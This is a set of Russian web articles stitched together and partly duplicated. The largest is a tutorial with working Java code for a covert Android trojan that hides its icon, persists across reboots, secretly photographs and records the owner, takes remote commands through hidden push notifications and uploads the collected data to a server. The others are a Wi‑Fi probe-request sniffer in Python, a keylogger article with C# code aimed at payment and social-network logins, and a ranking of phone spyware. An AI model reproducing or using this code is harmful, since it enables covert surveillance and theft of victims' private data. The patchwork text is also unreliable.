                break;

        }

        int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);

        deviceOrientation = (deviceOrientation + 45) / 90 * 90;

        boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;

        if (facingFront) deviceOrientation = deviceOrientation;

        return (sensorOrientation + deviceOrientation + 360) % 360;

    }

}

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

String cameraDir = context.getApplicationInfo().dataDir + «/camera/»

camera.takeSilentPhoto(«front», cameraDir);

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Еще по теме: Как создать RAT для Android

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

public class Alarm extends BroadcastReceiver {

    public static void set(Context context) {

        AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);

        Intent intent = new Intent(context, Alarm.class);

        PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);

        am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);

    }

    @Override

    public void onReceive(Context context, Intent intent) {

        // Твой код здесь

    }

}

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Снимок при включении экрана

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

class ScreenOnReceiver extends BroadcastReceiver() {

    @Override

    void onReceive(Context context, Intent intent) {

        // Ваш код здесь

    }

}

И добавьте в манифест следующие строки:

<receiver android:name=«com.example.app.ScreenOnReceiver»>

    <intentfilter>

        <action android:name=«android.intent.action.ACTION_SCREEN_ON» />

    </intentfilter>

</receiver>

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

class BootReceiver extends BroadcastReceiver() {

    @Override

    void onReceive(Context context, Intent intent) {

        Intent serviceIntent = new Intent(this, MainService.class);

        startService(serviceIntent);

    }

}

И опять же добавим его в манифест:

<receiver android:name=«com.example.BootReceiver»>

    <intentfilter>

        <action android:name=«android.intent.action.BOOT_COMPLETED» />

    </intentfilter>

</receiver>

Запись аудио по команде

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

String url = «http://example.com/cmd»

OkHttpClient client = new OkHttpClient();

Request request = new Request.Builder().url(url).build();

while (true) {

    Response response = client.newCall(request).execute();

    String cmd = response.body().string();

    cmd = cmd.trim()

    if (cmd.equals(«record»)) {

        // Делаем аудиозапись

    }

    try {

        Thread.sleep(60 * 1000);

    } catch (InterruptedException e) {}

}

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

class App extends Application {

    @Override

    public void onCreate() {

        super.onCreate()

        OneSignal.startInit(this).init()

    }

}

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

class OSService extends NotificationExtenderService {

    @Override

    protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {

        String cmd = receivedResult.payload.body.trim()

        if (cmd.equals(«record»)) {

            // Делаем аудиозапись

        }

        // Не показывать уведомление

        return true

    }

}

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

<service

    android:name=«org.antrack.app.service.OSService»

    android:exported=«false»>

    <intentfilter>

        <action android:name=«com.onesignal.NotificationExtender» />

    </intentfilter>

</service>

Отправка данных на сервер

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(«image/jpeg»);

public void uploadImage(File image, String imageName) throws IOException {

    OkHttpClient client = new OkHttpClient();

    RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)

        .addFormDataPart(«file», imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))

        .build();

    Request request = new Request.Builder().url(«http://com.example.com/upload»)

        .post(requestBody).build();

    Response response = client.newCall(request).execute();

}

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.

Выводы

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

Имейте ввиду!  Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?

На этом все. Теперь вы знаете как хакеры создают трояны для Андроид, а о том как от них защититься мы уже неоднократно писали (используйте поиск по сайту).

Еще по теме: Где скачать вирусы

Привет форум Codeby.net. Во-первых, хочу всех поздравить с Новым годом. Желаю всего самого лучшего. А теперь, пожалуй, перейдем к рассмотрению, что же у нас должно получиться.

Введение
Начнем с того, что в прошлой статье(Пассивная слежка через WIFI с помощью Probequest) я рассказал и показал, что устройства отправляют Probe Frame(Пробные пакеты).

Основная цель этих пакетов — автоматическое подключение к известным сетям. Также было сказано, что эти пакеты можно использовать для получения информации об окружающих устройств. В каких целях эту информацию было рассказано, как раз в прошлый статье.

Мы рассмотрим следующий случай, допустим нам необходимо узнать какие и сколько устройств проходило, подключалось мимо нашего кафе.
Для этих целей мы напишем небольшую утилиту на Python которая будет собирать Probe Frame с информацией и записывать в файл. Также она с
может полностью заменить инструмент Probequest.

Работа с Scapy
Начнем с того, что мы будем использовать Scapy. Scapy — библиотека(инструмент) для работы и взаимодействия с сетевыми пакетами, можно сказать, что это достаточно крутой и мощный инструмент даже для пентеста Wi-Fi сетей, с помощью него можно как внедрять вредоносный код в пакеты, перехватывать пакеты, прослушивать пакеты, отправлять созданные пакеты и многое другое.

Часть 1. Зависимости.
Начнем с того, что добавим некоторые зависимости.

  • from scapy.all import * Подключение Scapy без которой не было …
  • from datetime import datetime Нужна для получение времени
  • from multiprocessing import Process Нужна для параллельной работы
  • from termcolor import colored Сделаем терминал чуточку красивее.
  • import time, random, sys, socket, netaddr

И напишем пару следующих строчек:

Python:

if __name__ == "__main__":
    main()

Часть 2. Main
Начало программы будет выглядеть так:

Python:

def main():
    if len(sys.argv) < 2:
        print("[X] Error: argument interface: expected one argument")
        sys.exit(0)
    if len(sys.argv)>1:
        if len(sys.argv[1]) <> 0:
            print """
[*] 802.11 Radar Devices
[*] Author: Debug for Codeby.net, 2018"""
            print("[*] Scan start %s" % str(datetime.now().strftime("%a, %d %b %Y %H:%M:%S %Z")))
            p1 = Process(target=change_channel, args=(sys.argv[1],))
            p1.start()
            sniff(iface = sys.argv[1], prn=PacketHandler)

Здесь все очень просто. Сначала происходит проверка на кол-во переданных аргументов(как минимум их кол-во равно 1 — это название вашей программы).
Наш скрипт будет требовать только один аргумент(вернее два) это имя нашей карты в режиме мониторинга.

Также мы видим, что будет печататься краткая информация об авторе, времени запуска и маленькое лого.

Также важным для нас является функция — change_channel. Как мы можем помнить инструмент Probequest не умел сам менять каналы, для увеличения обнаруженных устройств мы использовали airodump-ng. Мне показалось, что это достаточно серьезный косяк, который нам нужно избегать.

Если кратко то здесь мы запускаем функцию параллельно которая будет каждые 0.3 секунды менять наш канал.

Сама функция выглядит:

Python:

def change_channel(iface):
    while True:
        channel = random.randrange(1,12)
        os.system("iw dev %s set channel %d" % (iface, channel))
        time.sleep(0.3)

Также здесь происходит запуск функции PacketHandler.

Часть 3. PacketHandler
Рассмотрим функцию PacketHandler, задача которой получение пакетов Probe Frame.

Сначала идет проверка if pkt.haslayer(Dot11): имеется ли у нас в пакете уровень 802.11.

Следующая проверка на тип пакета Beacon if pkt.type == 0 and pkt.subtype == 4:. В прошлой статье я не просто так разместил изображение типов пакетов — https://codeby.net/attachments/pasted-image-0-26-png.24338/ Нас будет интересовать тип 0 и тип 4

Весь код функции PacketHandler

Также стоит кратко объяснить некоторые строки:

str(datetime.now().strftime(«%a, %d %b %Y %H:%M:%S %Z»)) — Получение текущей даты и времени, будет использоваться для получение точного времени, когда же устройство послало пробный пакет.

pkt.addr2.upper() — Получение MAC-адреса устройства которое отправило пробный пакет.

netaddr.EUI(pkt.addr2).oui.registration().org — Получение типа устройства

pkt.info — Получаем ESSID точки доступа к которой был отправлен пакет.

str(-(256-ord(pkt.notdecoded[-4:-3]))) — Получение мощности сигнала.

Часть 4. Удобный вывод и запись
Также я создал две функции для удобства, функция print_detect_device(для вывода), write_detect_device(для записи в файл).
Здесь ничего объяснять. Исходный код обоих функций:

Python:

def print_detect_device(char, time, mac, type_device, essid, pwr):
    if char == '[+]':
        print(colored(char, 'green', attrs=['bold']) + " " + time + " MAC device: " + mac + " TYPE: " + type_device + " ESSID: " + essid + " PWR " + pwr)
    else:
        print(colored(char, 'yellow', attrs=['bold']) + " " + time + " MAC device: " + mac + " TYPE: " + type_device + " ESSID: " + essid + " PWR " + pwr)

def write_detect_device(time, mac, type_device, essid, pwr):
    handle = open("detect_devices.txt", "a")
    handle.write(time + " MAC device: " + mac + " TYPE: " + type_device + " ESSID: " + essid + " PWR: " + pwr + 'n')
    handle.close()

Часть 5. Демонстрация
На этом можно сказать, что мы закончили написание нашего аналога Probequest но только с дополнительными функциями.
В качестве демонстрации я приведу скриншоты работы.

Безымянный.png

Безымянный1.png

На этом все, все свободны)))

Как создать кейлоггер? Этот вопрос возникает у тех, кто вдруг решил немного побыть хакером. Ведь кейлоггер — это не совсем «правильная» штука, хотя и не является ни вирусом, ни трояном, ни руткитом.

Кейлоггер — это клавиатурный шпион, который сможет проследить за манипуляциями с клавишами на клавиатуре. Более продвинутые версии собирают данные о нажатии клавиатуры и отправляют эти сведения своему создателю. Именно так орудуют хакеры, когда хотят перехватить чьи-то логин и пароль или платежные реквизиты. Особенно продвинутые кейлоггеры не распространяются самостоятельно, а входят в состав более крупных программ, и их не видят антивирусы или файерволы. Например, вы скачали какую-то нужную вам программу, а внутри нее находится кейлоггер, который запустится вместе с инсталляцией программы, а вы даже не будете об этом подозревать. В общем, давайте разбираться, что такое кейлоггер и как его можно создать или им воспользоваться, но обо всем по порядку.

Что такое кейлоггер

Кейлоггер относят к классу «spyware» программ-шпионов, которые выполняют свои шпионские задачи и следят за действиями ничего не подозревающих пользователей. Те, кто знает о кейлоггерах, очень часто их недооценивают и не считают настоящей угрозой, хотя в умелых руках этот инструмент может «наворотить» дел и передать своему создателю необходимую ему информацию, которую вводят пользователи.

Современные кейлоггеры могут не только записывать все нажатия с клавиатуры, но и привязывать нажатия к сервисам или к конкретному окну, с которого нужно получить данные. Например, можно шпионить за клавиатурой только тогда, когда открыто окно входа в Фейсбук или ВК.

Обычно продвинутые кейлоггеры очень качественно маскируются под другие программы, поэтому их сложно отследить, и их не видят антивирусы, принимая их за системные файлы или за безвредную программу. Они собирают отчеты в специальные файлы-логи и могут отправлять эти отчеты по e-mail или по ftp-протоколу.

В общем, смотря как создатель кейлоггера подошел к своей разработке. Если со всей ответственностью, то такая программа становится конкретной проблемой в вашем компьютере. Если же абы как, то такую программу довольно просто распознать и удалить.

Какими бывают кейлоггеры

Перед тем как создать кейлоггер, необходимо понимать, по какому принципу работают такие программы. Способов создать и внедрить кейлоггер можно насчитать несколько сотен. Но все кейлоггеры могут «работать» по нескольким принципам:

  1. Простой стандартный способ. Установить соответствующий хук, например, WH_Keyboard или WH_Journalrecord, и использовать соответствующий механизм, например, Win32API. Суть этого способа сводится к тому, что хуки будут считывать информацию непосредственно с системных процессов, перехватывая нажатия абсолютно всех клавиш клавиатуры. Это самый простой вид ловушки, который не требует больших программистских знаний; создать такой кейлоггер можно за пару минут. Однако такие шпионы достаточно легко обнаруживаются в системе, и самый главный их недостаток заключается в том, что они записывают абсолютно все нажатия клавиш. А это значит, что нужно будет выделить среди всех нажатий нужную информацию. Если «шпионить» за одним компьютером, то это полбеды, но если компьютеров несколько десятков или сотен, то накапливаются огромные объемы информации о нажатии клавиш на всех компьютерах.

  2. Опрос состояния клавиатуры с какой-либо периодичностью. Это тоже довольно простой метод реализации кейлоггера, который часто используется уже готовыми программами-шпионами. Он тяжелее распознается в системе и обладает теми же недостатками, что и первый способ. Суть этого кейлоггера в том, чтобы «опрашивать» клавиатуру о ее состоянии (нажата или не нажата клавиша) со скоростью 10-25 опросов в секунду.

  3. Кейлоггер на основе драйвера. Этот способ несколько сложнее, чем первые два, однако он является наиболее эффективным, незаметным и управляемым. При такой реализации пишется собственный драйвер-шпион для клавиатуры и подменяется на стандартный. Либо устанавливается дополнительный драйвер-фильтр, который отслеживает необходимые нажатия клавиатуры. Например, нужно отследить, что нажимает пользователь, когда открыто окно входа в соцсеть или окно онлайн-оплаты.

  4. Кейлоггер-руткит. Это профессиональный вид кейлоггеров, который используется редко, но имеет самые высокие показатели в незаметности. Он выстраивается на уровне ядра процессора за счет перехвата процесса обмена информацией между драйвером клавиатуры и процессора. Этот вид кейлоггеров способен перехватывать работу даже экранной клавиатуры. Ни один из вышеописанных способов не может этого делать, поэтому экранная клавиатура считается отличным средством защиты от клавиатурного шпионажа. А такой кейлоггер мониторит даже экран.

  5. Физические устройства. Как ни странно, но следить за клавиатурой можно не только программными методами, но и аппаратными устройствами. Такие устройства не распознаются никакими антивирусами или другими программными методами и отлично выполняют свою функцию. Главный недостаток в том, что их установка требует физического контакта с устройством, за которым необходимо следить. Такой кейлоггер может быть реализован в виде USB-флешки или карты памяти, в виде небольшого устройства, которое внедряют в место «разрыва» кабеля, в штекер клавиатуры или в саму клавиатуру и др.

Как распространяются кейлоггеры

Если кейлоггер — это аппаратное устройство, то его установка требует физического контакта с клавиатурой или с самим устройством. Если кейлоггер — это программное решение, то его методы распространения ничем не отличаются от методов распространения вирусов и «троянов». Если не рассматривать случай, когда кейлоггер устанавливается «заботливым» другом, коллегой или «второй половинкой», то можно различить несколько популярных способов распространения таких программ:

  • при открытии файла электронного письма, которое вам прислали незнакомые (или знакомые) люди;

  • при посещении сомнительных сайтов, где может быть установлен скрипт, запускающий автоматическую установку кейлоггера на устройство;

  • когда на устройстве уже есть вредоносная программа, которая самостоятельно устанавливает другие программы;

  • при скачивании сомнительных программ или драйверов с сомнительных сайтов;

  • когда незнакомый вам сайт просит обновить какую-то программу, установленную на вашем компьютере;

  • и др.

Суть сводится к тому, чтобы заставить пользователя установить что-то на его устройство, а в этом «чем-то» может быть спрятан кейлоггер.

Кейлоггер: создать или использовать готовый

Чтобы создать кейлоггер, который будет вам служить верой и правдой и при этом не будет обнаружен ни антивирусами, ни специальными программами, нужно обладать отличными знаниями в программировании и понимать все системные процессы, которые должны происходить в компьютере при запуске вашей программы. Потому что если подходить к созданию простого кейлоггера с минимальными знаниями, то такая программка будет очень быстро обнаружена и деинсталлирована, а ваш труд окажется напрасным.

Поэтому, если вы хотите создать кейлоггер для каких-либо личных целей, можете для начала попробовать применить уже готовые программы. Многие из таких программ не обнаруживаются защитными средствами компьютера. Большинство из представленных программ платные, но с бесплатным периодом для ознакомления. А самые продвинутые пользователи легко могут найти для платных программ таблетки и рабочие кряки.

Кейлоггеры:

  • The Rat! работает на уровне аппаратного ядра, поэтому вообще незаметен для защитных программ;

  • Elite Keylogger — работает на уровне системных драйверов, поэтому также остается очень незаметным, способен перехватывать не только нажатия клавиатуры, но и снимки с веб-камеры;

  • All-in-one Keylogger — работает на уровне системных AppData-директорий, поэтому недоступен пользователям для обнаружения, но со временем может быть обнаружен программами безопасности;

  • Spytech SpyAgent — работает на уровне системных файлов, поэтому рано или поздно будет обнаружен антивирусами, но обладает широким функционалом, например, способен перехватывать видео с камеры и звук с микрофона;

  • Spyrix Personal Monitor — многофункциональный кейлоггер со средней скрытностью, может быть использован в частном порядке, когда его обнаружение не критично, например, когда нужно проследить за своими детьми, братьями, сестрами и т. д.

  • и др.

Как создать свой собственный кейлоггер

Мы не будем приводить код кейлоггеров, которые работают на уровне ядра или драйверов и являются очень скрытными, но можем направить и показать, как создать свой простенький кейлоггер.

Самый простой кейлоггер на С# выглядит так:

while (true)

{

Thread.Sleep(150);

for (Int32 i = 0; i < 255; i++)

{

int state = GetAsyncKeyState(i);

if (state == 1 || state == -32767)

{

Console.WriteLine((Keys)i);

}

}

}

Что мы сделали? Мы постоянно вызываем функцию «GetAsyncKeyState», которая определяет состояние клавиш клавиатуры в момент вызова. Подобный цикл будет повторяться каждые 150 мс. Такой код будет сканировать нажатия абсолютно всех клавиш. Если нужно, чтобы такой кейлоггер срабатывал на определенных страницах, например, в ВК и при входе в Юмани, тогда можно дописать вот так:

while (true)

{

IntPtr handle = GetForegroundWindow();

if (GetWindowText(handle, buff, chars) > 0)

{

string line = buff.ToString();

if (line.Contains(«Yoomoney»)|| line.Contains(«VKontakte — Log In or Sign Up «))

{

//проверяем клавиатуру раз в 150 мс

}

}

Thread.Sleep(150);

}

Методам совершенства даже такого простого кейлоггера нет предела. Например, можно при помощи регулярных выражений сделать так, чтобы кейлоггер собирал только почту и пароль или только платежные реквизиты и т. д. Совершенствовать и маскировать кейлоггер можно до бесконечности. Ограничения будут только в вашем знании языка программирования и понимании программных процессов, происходящих в компьютере.

Заключение

Перед тем как создать или использовать кейлоггер, нужно понимать, для каких целей вы хотите осуществить слежку. Такие действия относятся к социальной инженерии и являются незаконными во многих государствах. Поэтому за незаконную слежку за кем бы то ни было вас могут привлечь к ответственности. При этом сами программы-кейлоггеры являются законным и легальным программным обеспечением.

Как хакеры создают трояны для Андроид?

Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.

Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Как написать троян на Андроид

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

Использовать его следует так:

Записи в файле будут выглядеть примерно так:

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

Использовать его можно, например, так:

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Снимок при включении экрана

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

И добавьте в манифест следующие строки:

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

И опять же добавим его в манифест:

Запись аудио по команде

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

Отправка данных на сервер

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.

Выводы

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

Имейте ввиду! Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?

На этом все. Теперь вы знаете как хакеры создают трояны для Андроид, а о том как от них защититься мы уже неоднократно писали (используйте поиск по сайту).

Источник статьи: http://spy-soft.net/kak-sozdat-troyan-na-android/

Топ-10 Лучшие программы шпионы для телефона Android в 2020 году

Топ-10 Лучшие программы шпионы для телефона Android в 2020 году

Обзор лучших программ шпионов за 2019 — 2020 год для телефона Андроид. На сегодняшний день зафиксировано несколько десятков различных шпионских программ для слежки, но прочно вошли в 10-ку лучших следующие:

10 место – Cell Tracker
9 место – MobileTool
8 место – NewSpy
7 место – Mobile-Spy
6 место – Cell Phone Spy PRO
5 место – TrackView
4 место – Android Monitor
3 место – FlexiSpy
2 место – Talklog
1 место – VkurSe

10 место — программа шпион Cell Tracker

Cell Tracker – бесплатная программа шпион на телефон Андроид, поможет следить за передвижением телефона, на который она установлена. Местоположение телефона отображается на карте красными отрезками, при нажатии на которые выходит полная информация. Также передвижения можно отслеживать в виде точек, типа перечня, где указаны координаты и время.

На Cell tracker отзывы в Интернете самые лестные и она находится на хорошем счету у своих пользователей – устанавливается быстро, четко определяет местоположение (разброс может составлять всего несколько метров), а главное, что эта программа шпион на телефоне бесплатно устанавливается и бесплатно работает. Ссылку на приложение Cell tracker скачать на Андроид можно с сайта. На Айфоне она не работает. Да и все предоставленные в этом топе софты работают исключительно с Andriod.

9 место – программа Cell Phone Spy PRO

Cell Phone Spy PRO – бесплатная программа слежения за телефоном Андроид, имеет стандартный функционал шпионских софтов, т.е. может записать звонки, перехватить смс-сообщения и определить местоположение телефона. Но, всем известно, что обычными смс-сообщениями уже редко кто пользуется и многие пользователи «пересели» в чаты социальных сетей и мессенджеров. Однако такой перехват для этого приложения недоступен. Для тех, кому достаточно прослушивать телефонные звонки – эта программа будет прекрасным помошником.

